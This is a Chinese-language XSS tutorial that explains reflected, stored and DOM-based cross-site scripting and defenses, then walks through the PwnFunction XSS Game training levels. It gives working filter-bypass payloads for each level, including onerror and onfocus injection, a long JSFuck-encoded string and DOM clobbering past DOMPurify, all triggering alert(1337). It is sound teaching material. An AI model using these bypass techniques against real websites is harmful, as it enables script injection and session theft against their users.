目录
前言:
XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。
一、XSS的定义
1.1 XSS原理
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。
1.2 XSS分类
1.2.1 反射型(非持久型)
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
1.2.2 存储型(持久型)
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。
1.2.3 DOM型(非持久型)
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
二、XSS的危害与防御
2.1 XSS漏洞的危害
- 窃取用户Cookie
- 后台增删改文章
- XSS钓鱼攻击
- 利用XSS漏洞进行传播和修改网页代码
- XSS蠕虫攻击
- 网站重定向
- 获取键盘记录
- 获取用户信息等
2.2 XSS漏洞防御
2.2.1 对输入和URL参数进行过滤(白名单和黑名单)
检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。
2.2.2 HTML实体编码
字符串js编码转换成实体html编码的方法(防范XSS攻击)
2.2.3 对输出内容进行编码
在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
三、XSS Game
靶场地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction
靶场游戏界面:
3.1 Ma Spaghet!
这里将题目与源码都给了我们,我们可以看到题目是让我们弹出一个(1337)的弹窗。
let's go进入
这里我们先传一个参数a
我们看回显页面和源码发现这个参数直接在标签中显示:
注意源码中的innerHTML,有它在的这句中有一个威胁标签,也就是<script>不能用,那我们可以用<img>标签。
payload
somebody=<img src=1 onerror="alert(1337)">
3.2 Jefff
看源码我们发现通过eval执行将ma name ${ieff}值赋给了ma,然后加上1000ms也就是1s的睡眠后进行页面输出。我们可以用eval的漏洞,用闭合的方法去执行。
payload
jeff=aaa";alert(1337);"
3.3 Ugandan Knuckles
看源码我们知道这关加了过滤限制,<>被过滤掉了,然后如果用onclick标签的话,源码中是不允许用户交互的,所以这里我们要使用onfocus方法,这个方法是用户自己对焦,input中还有一个可以自动对焦的标签叫autofocus。
onfocus 事件
- 定义和用法 onfocus 事件在对象获得焦点时发生。 Onfocus 通常用于 <input>, <select>, 和<a>. 提示: onfocus 事件的相反事件为 onblur 事件。
- 语法 HTML 中: < element οnfοcus=" SomeJavaScriptCode "> JavaScript 中: ...
- 浏览器支持 所有主要浏览器都支持 onfocus 事件
- 支持 onfocus 事件的 HTML 标签: onfocus 属性通常用于所有 HTML 元素,除了:<base>, <bdo>, <br>, <head>, <html>, <iframe>, <meta>, <param>, <script>, <style>, 和 <title>. 事件对象
payload
wey=aaa"onfocus=alert(1337) autofocus="
3.4 Ricardo Milos
在源码中多出来一个提交---submit
这里的在事件后2S自动运行,则ricardo是一个注入点。
payload
ricardo=javascript:alert(1337)
3.5 Ah That's Hawt
看源码,这里和第三关一样,对[]和\都进行了限制,虽然我们可以想到用%28%29进行编码,但是我们要知道js重视不能编码符号,最后利用到location可以用于获取或设置窗体的URL,并进行解析,可以将payload转成字符串进行编码,而非符号直接编码。
payload
markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
3.6 Ligma
这个直接用正则将数字和字母都进行过滤,那我们只能用编码进行绕过---通过网上的编码工具,我用的是CyberChef
这里为什么会有这么多符号呢,是因为在jsfuck中alert(1)编码后是这个符号:
payload
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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3.7 Mafia
我们可以看到源码中也进行了很多过滤限制,如字符长度,反斜杠,alter等等,其他函数还是可以用,如confirm
持此之外,我们还可以用构造函数的方法进行逃逸,其中还用到了大小写
payload
mafia=Function(/ALERT(1337)/.source.toLowerCase())()
parselnt
payload
mafia=eval(8680439..toString(30))(1337)
location.hash
#之后会将后面值取出来,其中slice是截取函数
payload
eval(location.hash.slice(1))
3.8 Ok, Boomer
看源码我们发现DOMPurify.sanitize存在一个过滤框架,基本上绕不过。
let's go进入页面
我们这里用<img>试一下,源码里面出现了innerHTML
然后我们发现并没有反应,它会被直接过滤掉。
这个过滤框架不好绕过,那么我们看一下源码,发现有一个函数值得注意:
每2S执行一个ok:
我们可以去MDN Web Docs上看一下函数的使用:
之后我再想,我们能不能构造一个ok呢?在⽆法直接 XSS的情况下,我们就可以往 DOM Clobbering 这⽅向考虑了。
我们发现可以利用id或者name方法将标签取出来,那么这里的ok也许可以出现。
取出cookie后,发现为null,先创建一个元素是div,然后再给div赋值,然后再给这个div插入到body中去,最后再去取出cookie,然后发现将div里面的包含cookie的值取出来了。
我们在查询MDN时候发现发现这个定时器函数可以把函数当成字符串然后去执行,那么我们可以把a标签的href可以替换成字符串,然后定时器去执行,boomer通过赋值,这个ok就先进带h2标签里面去了。然后就通过下面那个定时器通过id=ok把我传进去的a标签获取到了,但是由于获取到以后定时器就会在2S后调用tostring方法,所以最后调用href里面的属性整个就会被当做字符串去执行。
payload
boomer=<a id=ok href=mailto:alert(1337)>
boomer=<a id=ok href=tel:alert(1337)>